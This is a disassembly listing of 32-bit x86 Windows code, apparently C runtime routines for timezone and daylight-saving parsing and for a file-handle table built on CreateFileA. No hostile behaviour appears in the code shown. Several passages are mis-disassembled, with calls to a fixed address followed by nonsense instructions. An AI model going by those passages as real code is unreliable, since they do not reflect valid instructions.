		jnz	loc_418C0B
		push	offset dword_45ED20
		call	near ptr 0A70000h
		mov	esi, 840FC33Bh
		adc	al, [edx]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_45ED20
		mov	ecx, ds:dword_45ED74
		imul	eax, 3Ch
		cmp	ds:word_45ED66,	bp
		push	1
		pop	edx
		mov	ds:dword_42E1D0, eax
		mov	ds:dword_45ED18, edx
		jz	short loc_418B59
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_42E1D0, eax


loc_418B59:				; CODE XREF: seg000:00418B4Bj
		cmp	ds:word_45EDBA,	bp
		jz	short loc_418B7D
		mov	eax, ds:dword_45EDC8
		cmp	eax, ebp
		jz	short loc_418B7D
		sub	eax, ecx
		mov	ds:dword_42E1D4, edx
		imul	eax, 3Ch
		mov	ds:dword_42E1D8, eax
		jmp	short loc_418B89
; ---------------------------------------------------------------------------


loc_418B7D:				; CODE XREF: seg000:00418B60j
					; seg000:00418B69j
		mov	ds:dword_42E1D4, ebp
		mov	ds:dword_42E1D8, ebp


loc_418B89:				; CODE XREF: seg000:00418B7Bj
		lea	eax, [esp+10h]
		mov	esi, ds:dword_41C128
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_42E25C
		push	ebx
		push	offset dword_45ED24
		push	edi
		push	ds:dword_45EBB0
		call	esi ; dword_41C128
		test	eax, eax
		jz	short loc_418BC6
		cmp	[esp+10h], ebp
		jnz	short loc_418BC6
		mov	eax, ds:off_42E25C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_418BCE
; ---------------------------------------------------------------------------


loc_418BC6:				; CODE XREF: seg000:00418BB3j
					; seg000:00418BB9j
		mov	eax, ds:off_42E25C
		and	byte ptr [eax],	0


loc_418BCE:				; CODE XREF: seg000:00418BC4j
		lea	eax, [esp+10h]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_42E260
		push	ebx
		push	offset dword_45ED78
		push	edi
		push	ds:dword_45EBB0
		call	esi ; dword_41C128
		test	eax, eax
		jz	loc_418D32
		cmp	[esp+10h], ebp
		jnz	loc_418D32
		mov	eax, ds:off_42E260
		and	byte ptr [eax+3Fh], 0
		jmp	loc_418D3A
; ---------------------------------------------------------------------------


loc_418C0B:				; CODE XREF: seg000:00418B0Fj
		cmp	byte ptr [esi],	0
		jz	loc_418D3A
		mov	eax, ds:dword_45EDCC
		cmp	eax, ebp
		jz	short loc_418C2E
		push	eax
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_418D3A


loc_418C2E:				; CODE XREF: seg000:00418C1Bj
		push	ds:dword_45EDCC
		call	sub_410B5F
		push	esi
		call	sub_410A70
		inc	eax
		push	eax
		call	sub_410AEB
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_45EDCC, eax
		jz	loc_418D3A
		push	esi
		push	eax
		call	sub_411AD0
		push	3
		push	esi
		push	ds:off_42E25C
		call	sub_411C90
		mov	eax, ds:off_42E25C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_418C83
		push	1
		inc	esi
		pop	edi


loc_418C83:				; CODE XREF: seg000:00418C7Dj
		push	esi
		call	sub_410904
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_42E1D0, ecx


loc_418C9A:				; CODE XREF: seg000:00418CA9j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_418CA8
		cmp	al, bl
		jl	short loc_418CAB
		cmp	al, 39h
		jg	short loc_418CAB


loc_418CA8:				; CODE XREF: seg000:00418C9Ej
		inc	esi
		jmp	short loc_418C9A
; ---------------------------------------------------------------------------


loc_418CAB:				; CODE XREF: seg000:00418CA2j
					; seg000:00418CA6j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_418CFE
		inc	esi
		push	esi
		call	sub_410904
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_42E1D0
		add	ecx, eax
		mov	ds:dword_42E1D0, ecx


loc_418CC9:				; CODE XREF: seg000:00418CD4j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_418CD6
		cmp	al, 39h
		jg	short loc_418CD6
		inc	esi
		jmp	short loc_418CC9
; ---------------------------------------------------------------------------


loc_418CD6:				; CODE XREF: seg000:00418CCDj
					; seg000:00418CD1j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_418CFE
		inc	esi
		push	esi
		call	sub_410904
		pop	ecx
		mov	ecx, ds:dword_42E1D0
		add	ecx, eax
		mov	ds:dword_42E1D0, ecx


loc_418CF1:				; CODE XREF: seg000:00418CFCj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_418CFE
		cmp	al, 39h
		jg	short loc_418CFE
		inc	esi
		jmp	short loc_418CF1
; ---------------------------------------------------------------------------


loc_418CFE:				; CODE XREF: seg000:00418CAEj
					; seg000:00418CD9j ...
		cmp	edi, ebp
		jz	short loc_418D0A
		neg	ecx
		mov	ds:dword_42E1D0, ecx


loc_418D0A:				; CODE XREF: seg000:00418D00j
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_42E1D4, eax
		jz	short loc_418D32
		push	3
		push	esi
		push	ds:off_42E260
		call	sub_411C90
		mov	eax, ds:off_42E260
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_418D3A
; ---------------------------------------------------------------------------


loc_418D32:				; CODE XREF: seg000:00418BEDj
					; seg000:00418BF7j ...
		mov	eax, ds:off_42E260
		and	byte ptr [eax],	0


loc_418D3A:				; CODE XREF: seg000:00418C06j
					; seg000:00418C0Ej ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418D40	proc near		; CODE XREF: sub_4161CE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_42E1D4, edi
		jnz	short loc_418D54


loc_418D4D:				; CODE XREF: sub_418D40+148j
					; sub_418D40+150j ...
		xor	eax, eax
		jmp	loc_418EA0
; ---------------------------------------------------------------------------


loc_418D54:				; CODE XREF: sub_418D40+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_42E268
		jnz	short loc_418D72
		cmp	eax, ds:dword_42E278
		jz	loc_418E74


loc_418D72:				; CODE XREF: sub_418D40+24j
		cmp	ds:dword_45ED18, edi
		jz	loc_418E4A
		movzx	ecx, ds:word_45EDC6
		push	ecx
		cmp	ds:word_45EDB8,	di
		movzx	ecx, ds:word_45EDC4
		push	ecx
		movzx	ecx, ds:word_45EDC2
		push	ecx
		movzx	ecx, ds:word_45EDC0
		push	ecx
		jnz	short loc_418DC4
		movzx	ecx, ds:word_45EDBC
		push	edi
		push	ecx
		movzx	ecx, ds:word_45EDBE
		push	ecx
		movzx	ecx, ds:word_45EDBA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_418DD8
; ---------------------------------------------------------------------------


loc_418DC4:				; CODE XREF: sub_418D40+65j
		movzx	ecx, ds:word_45EDBE
		push	ecx
		push	edi
		movzx	ecx, ds:word_45EDBA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_418DD8:				; CODE XREF: sub_418D40+82j
		push	ebx
		call	sub_418EEC
		movzx	eax, ds:word_45ED72
		add	esp, 2Ch
		cmp	ds:word_45ED64,	di
		push	eax
		movzx	eax, ds:word_45ED70
		push	eax
		movzx	eax, ds:word_45ED6E
		push	eax
		movzx	eax, ds:word_45ED6C
		push	eax
		jnz	short loc_418E32
		movzx	eax, ds:word_45ED68
		push	edi
		push	eax
		movzx	eax, ds:word_45ED6A
		push	eax
		movzx	eax, ds:word_45ED66
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_418E27:				; CODE XREF: sub_418D40+108j
		push	edi
		call	sub_418EEC
		add	esp, 2Ch
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E32:				; CODE XREF: sub_418D40+C8j
		movzx	eax, ds:word_45ED6A
		push	eax
		push	edi
		movzx	eax, ds:word_45ED66
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_418E27
; ---------------------------------------------------------------------------


loc_418E4A:				; CODE XREF: sub_418D40+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_418EEC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_418EEC
		add	esp, 58h


loc_418E74:				; CODE XREF: sub_418D40+2Cj
					; sub_418D40+F0j
		mov	edx, ds:dword_42E26C
		mov	eax, ds:dword_42E27C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_418EA4
		cmp	ecx, edx
		jl	loc_418D4D
		cmp	ecx, eax
		jg	loc_418D4D
		cmp	ecx, edx
		jle	short loc_418EB8
		cmp	ecx, eax
		jge	short loc_418EB8


loc_418E9E:				; CODE XREF: sub_418D40+166j
					; sub_418D40+16Aj
		mov	eax, ebx


loc_418EA0:				; CODE XREF: sub_418D40+Fj
					; sub_418D40+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418D40+144j
		cmp	ecx, eax
		jl	short loc_418E9E
		cmp	ecx, edx
		jg	short loc_418E9E
		cmp	ecx, eax
		jle	short loc_418EB8
		cmp	ecx, edx
		jl	loc_418D4D


loc_418EB8:				; CODE XREF: sub_418D40+158j
					; sub_418D40+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_418EDF
		xor	ecx, ecx
		cmp	eax, ds:dword_42E270
		setnl	cl


loc_418EDB:				; CODE XREF: sub_418D40+1AAj
		mov	eax, ecx
		jmp	short loc_418EA0
; ---------------------------------------------------------------------------


loc_418EDF:				; CODE XREF: sub_418D40+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_42E280
		setl	cl
		jmp	short loc_418EDB
sub_418D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EEC	proc near		; CODE XREF: sub_418D40+99p
					; sub_418D40+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_418F87
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_418F17
		shl	esi, 2
		mov	eax, ds:dword_42E280[esi]
		jmp	short loc_418F20
; ---------------------------------------------------------------------------


loc_418F17:				; CODE XREF: sub_418EEC+1Ej
		shl	esi, 2
		mov	eax, ds:dword_42E2B4[esi]


loc_418F20:				; CODE XREF: sub_418EEC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_418F5A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_418F64
; ---------------------------------------------------------------------------


loc_418F5A:				; CODE XREF: sub_418EEC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_418F64:				; CODE XREF: sub_418EEC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_418FA2
		cmp	[ebp+arg_8], 0
		jnz	short loc_418F78
		mov	esi, ds:dword_42E284[esi]
		jmp	short loc_418F7E
; ---------------------------------------------------------------------------


loc_418F78:				; CODE XREF: sub_418EEC+82j
		mov	esi, ds:dword_42E2B8[esi]


loc_418F7E:				; CODE XREF: sub_418EEC+8Aj
		cmp	ecx, esi
		jle	short loc_418FA2
		sub	ecx, 7
		jmp	short loc_418FA2
; ---------------------------------------------------------------------------


loc_418F87:				; CODE XREF: sub_418EEC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_418F98
		mov	ecx, ds:dword_42E280[eax*4]
		jmp	short loc_418F9F
; ---------------------------------------------------------------------------


loc_418F98:				; CODE XREF: sub_418EEC+A1j
		mov	ecx, ds:dword_42E2B4[eax*4]


loc_418F9F:				; CODE XREF: sub_418EEC+AAj
		add	ecx, [ebp+arg_18]


loc_418FA2:				; CODE XREF: sub_418EEC+7Cj
					; sub_418EEC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_418FD3
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_42E26C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_42E268, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_42E270, eax
		jmp	short loc_419028
; ---------------------------------------------------------------------------


loc_418FD3:				; CODE XREF: sub_418EEC+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_42E27C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_42E1D8
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_42E280, eax
		jns	short loc_41900B
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_42E280, eax
		jmp	short loc_41901C
; ---------------------------------------------------------------------------


loc_41900B:				; CODE XREF: sub_418EEC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_419022
		sub	eax, edx
		inc	ecx
		mov	ds:dword_42E280, eax


loc_41901C:				; CODE XREF: sub_418EEC+11Dj
		mov	ds:dword_42E27C, ecx


loc_419022:				; CODE XREF: sub_418EEC+126j
		mov	ds:dword_42E278, ebx


loc_419028:				; CODE XREF: sub_418EEC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41902C	proc near		; CODE XREF: sub_419246:loc_4193BEp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_45FE40


loc_41903B:				; CODE XREF: sub_41902C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_419078
		lea	edx, [eax+100h]


loc_419047:				; CODE XREF: sub_41902C+28j
		cmp	eax, edx
		jnb	short loc_419067
		test	byte ptr [eax+4], 1
		jz	short loc_419056
		add	eax, 8
		jmp	short loc_419047
; ---------------------------------------------------------------------------


loc_419056:				; CODE XREF: sub_41902C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4190BB


loc_419067:				; CODE XREF: sub_41902C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_45FF40
		jl	short loc_41903B
		jmp	short loc_4190BB
; ---------------------------------------------------------------------------


loc_419078:				; CODE XREF: sub_41902C+13j
		mov	esi, 100h
		push	esi
		call	sub_410AEB
		test	eax, eax
		pop	ecx
		jz	short loc_4190BB
		add	ds:dword_45FF40, 20h
		lea	ecx, ds:45FE40h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41909E:				; CODE XREF: sub_41902C+88j
		cmp	eax, edx
		jnb	short loc_4190B6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41909E
; ---------------------------------------------------------------------------


loc_4190B6:				; CODE XREF: sub_41902C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4190BB:				; CODE XREF: sub_41902C+39j
					; sub_41902C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41902C	endp

; ---------------------------------------------------------------------------


loc_4190C1:				; CODE XREF: sub_419246+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, ds:dword_45FF40
		push	edi
		jnb	short loc_419121
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:45FE40h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_419121
		cmp	ds:dword_42D814, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_419116+1
		sub	eax, 0
		jz	short loc_41910E
		dec	eax
		jz	short loc_419109
		dec	eax
		jnz	short near ptr loc_419116+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_419111
; ---------------------------------------------------------------------------


loc_419109:				; CODE XREF: seg000:004190FFj
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_419111
; ---------------------------------------------------------------------------


loc_41910E:				; CODE XREF: seg000:004190FCj
		push	ebx
		push	0FFFFFFF6h


loc_419111:				; CODE XREF: seg000:00419107j
					; seg000:0041910Cj
		call	near ptr 0A70000h


loc_419116:				; CODE XREF: seg000:004190F7j
					; seg000:00419102j
		mov	ah, 8Bh
		pop	es
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_419135
; ---------------------------------------------------------------------------


loc_419121:				; CODE XREF: seg000:004190CDj
					; seg000:004190E9j
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9
		or	eax, 0FFFFFFFFh


loc_419135:				; CODE XREF: seg000:0041911Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419138:				; CODE XREF: sub_416290+7Cp
		mov	ecx, [esp+4]
		push	esi
		cmp	ecx, ds:dword_45FF40
		push	edi
		jnb	short loc_41919B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:45FE40h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41919B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41919B
		cmp	ds:dword_42D814, 1
		jnz	short near ptr loc_419190+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_419188
		dec	ecx
		jz	short loc_419183
		dec	ecx
		jnz	short near ptr loc_419190+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41918B
; ---------------------------------------------------------------------------


loc_419183:				; CODE XREF: seg000:00419179j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41918B
; ---------------------------------------------------------------------------


loc_419188:				; CODE XREF: seg000:00419176j
		push	eax
		push	0FFFFFFF6h


loc_41918B:				; CODE XREF: seg000:00419181j
					; seg000:00419186j
		call	near ptr 0A70000h


loc_419190:				; CODE XREF: seg000:00419170j
					; seg000:0041917Cj
		sub	eax, 0C83078Bh
		xor	bh, bh
		xor	eax, eax
		jmp	short loc_4191AF
; ---------------------------------------------------------------------------


loc_41919B:				; CODE XREF: seg000:00419144j
					; seg000:00419162j ...
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9
		or	eax, 0FFFFFFFFh


loc_4191AF:				; CODE XREF: seg000:00419199j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4191B2	proc near		; CODE XREF: sub_416290+32p
					; sub_416290+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_45FF40
		jnb	short loc_4191DA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_45FE40[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4191DA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4191DA:				; CODE XREF: sub_4191B2+Aj
					; sub_4191B2+23j
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4191B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191EF	proc near		; CODE XREF: sub_41636E+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_45FF40
		jnb	short loc_419238
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_45FE40[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_419238
		push	eax
		call	sub_4191B2
		pop	ecx
		push	eax
		call	near ptr 0A70000h
		aam	85h
		sal	byte ptr [ebp+8], 0FFh
		adc	eax, offset dword_41C060
		jmp	short loc_41922F
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41922F:				; CODE XREF: sub_4191EF+3Cj
		test	eax, eax
		jz	short locret_419245
		mov	ds:dword_45EB18, eax


loc_419238:				; CODE XREF: sub_4191EF+Aj
					; sub_4191EF+22j
		mov	ds:dword_45EB14, 9
		or	eax, 0FFFFFFFFh

locret_419245:				; CODE XREF: sub_4191EF+42j
		retn
sub_4191EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419246	proc near		; CODE XREF: sub_41674A+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41926C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_419277
; ---------------------------------------------------------------------------


loc_41926C:				; CODE XREF: sub_419246+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_419277:				; CODE XREF: sub_419246+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_419291
		test	ch, 40h
		jnz	short loc_41928D
		cmp	ds:dword_45EDF8, eax
		jz	short loc_419291


loc_41928D:				; CODE XREF: sub_419246+3Dj
		or	[ebp+var_1], 80h


loc_419291:				; CODE XREF: sub_419246+38j
					; sub_419246+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4192C9
		dec	eax
		jz	short loc_4192C0
		dec	eax
		jz	short loc_4192B7


loc_4192A2:				; CODE XREF: sub_419246+9Fj
					; sub_419246+E8j ...
		mov	ds:dword_45EB14, 16h
		mov	ds:dword_45EB18, ebx
		jmp	loc_4194DC
; ---------------------------------------------------------------------------


loc_4192B7:				; CODE XREF: sub_419246+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4192D0
; ---------------------------------------------------------------------------


loc_4192C0:				; CODE XREF: sub_419246+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4192D0
; ---------------------------------------------------------------------------


loc_4192C9:				; CODE XREF: sub_419246+54j
		mov	[ebp+var_C], 80000000h


loc_4192D0:				; CODE XREF: sub_419246+78j
					; sub_419246+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4192FE
		cmp	eax, 20h
		jz	short loc_4192F5
		cmp	eax, 30h
		jz	short loc_4192EC
		cmp	eax, 40h
		jnz	short loc_4192A2
		mov	[ebp+var_10], esi
		jmp	short loc_419301
; ---------------------------------------------------------------------------


loc_4192EC:				; CODE XREF: sub_419246+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_419301
; ---------------------------------------------------------------------------


loc_4192F5:				; CODE XREF: sub_419246+95j
		mov	[ebp+var_10], 1
		jmp	short loc_419301
; ---------------------------------------------------------------------------


loc_4192FE:				; CODE XREF: sub_419246+90j
		mov	[ebp+var_10], ebx


loc_419301:				; CODE XREF: sub_419246+A4j
					; sub_419246+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41934B
		jz	short loc_419346
		cmp	ecx, ebx
		jz	short loc_419346
		cmp	ecx, edi
		jz	short loc_41933D
		cmp	ecx, 200h
		jz	short loc_419364
		cmp	ecx, 300h
		jnz	loc_4192A2
		mov	[ebp+var_8], 2
		jmp	short loc_419374
; ---------------------------------------------------------------------------


loc_41933D:				; CODE XREF: sub_419246+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_419374
; ---------------------------------------------------------------------------


loc_419346:				; CODE XREF: sub_419246+D0j
					; sub_419246+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_419374
; ---------------------------------------------------------------------------


loc_41934B:				; CODE XREF: sub_419246+CEj
		cmp	ecx, 500h
		jz	short loc_41936D
		cmp	ecx, 600h
		jz	short loc_419364
		cmp	ecx, edx
		jz	short loc_41936D
		jmp	loc_4192A2
; ---------------------------------------------------------------------------


loc_419364:				; CODE XREF: sub_419246+E0j
					; sub_419246+113j
		mov	[ebp+var_8], 5
		jmp	short loc_419374
; ---------------------------------------------------------------------------


loc_41936D:				; CODE XREF: sub_419246+10Bj
					; sub_419246+117j
		mov	[ebp+var_8], 1


loc_419374:				; CODE XREF: sub_419246+F5j
					; sub_419246+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_419393
		mov	ecx, ds:dword_45EB1C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_419393
		push	1
		pop	esi


loc_419393:				; CODE XREF: sub_419246+138j
					; sub_419246+148j
		test	al, 40h
		jz	short loc_4193A1
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_4193A1:				; CODE XREF: sub_419246+14Fj
		test	ah, 10h
		jz	short loc_4193A8
		or	esi, edi


loc_4193A8:				; CODE XREF: sub_419246+15Ej
		test	al, 20h
		jz	short loc_4193B4
		or	esi, 8000000h
		jmp	short loc_4193BE
; ---------------------------------------------------------------------------


loc_4193B4:				; CODE XREF: sub_419246+164j
		test	al, 10h
		jz	short loc_4193BE
		or	esi, 10000000h


loc_4193BE:				; CODE XREF: sub_419246+16Cj
					; sub_419246+170j
		call	sub_41902C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4193DF
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 18h
		jmp	short loc_41941D
; ---------------------------------------------------------------------------


loc_4193DF:				; CODE XREF: sub_419246+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_41C070	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_419410
		push	esi
		call	near ptr 0A70000h
		push	edi
		test	eax, eax
		jnz	short loc_419424
		push	esi
		call	ds:dword_41C068	; CloseHandle


loc_419410:				; CODE XREF: sub_419246+1B6j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		call	sub_4171B2
		pop	ecx


loc_41941D:				; CODE XREF: sub_419246+197j
		mov	eax, edi
		jmp	loc_4194FA
; ---------------------------------------------------------------------------


loc_419424:				; CODE XREF: sub_419246+1C1j
		cmp	eax, 2
		jnz	short loc_41942F
		or	[ebp+var_1], 40h
		jmp	short loc_419438
; ---------------------------------------------------------------------------


loc_41942F:				; CODE XREF: sub_419246+1E1j
		cmp	eax, 3
		jnz	short loc_419438
		or	[ebp+var_1], 8


loc_419438:				; CODE XREF: sub_419246+1E7j
					; sub_419246+1ECj
		push	esi
		push	ebx
		call	loc_4190C1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:45FE40h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4194E1
		test	al, 80h
		jz	short loc_4194E1
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4194E1
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_416932
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_419496
		cmp	ds:dword_45EB18, 83h
		jz	short loc_4194E1
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_419496:				; CODE XREF: sub_419246+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_416554
		add	esp, 0Ch
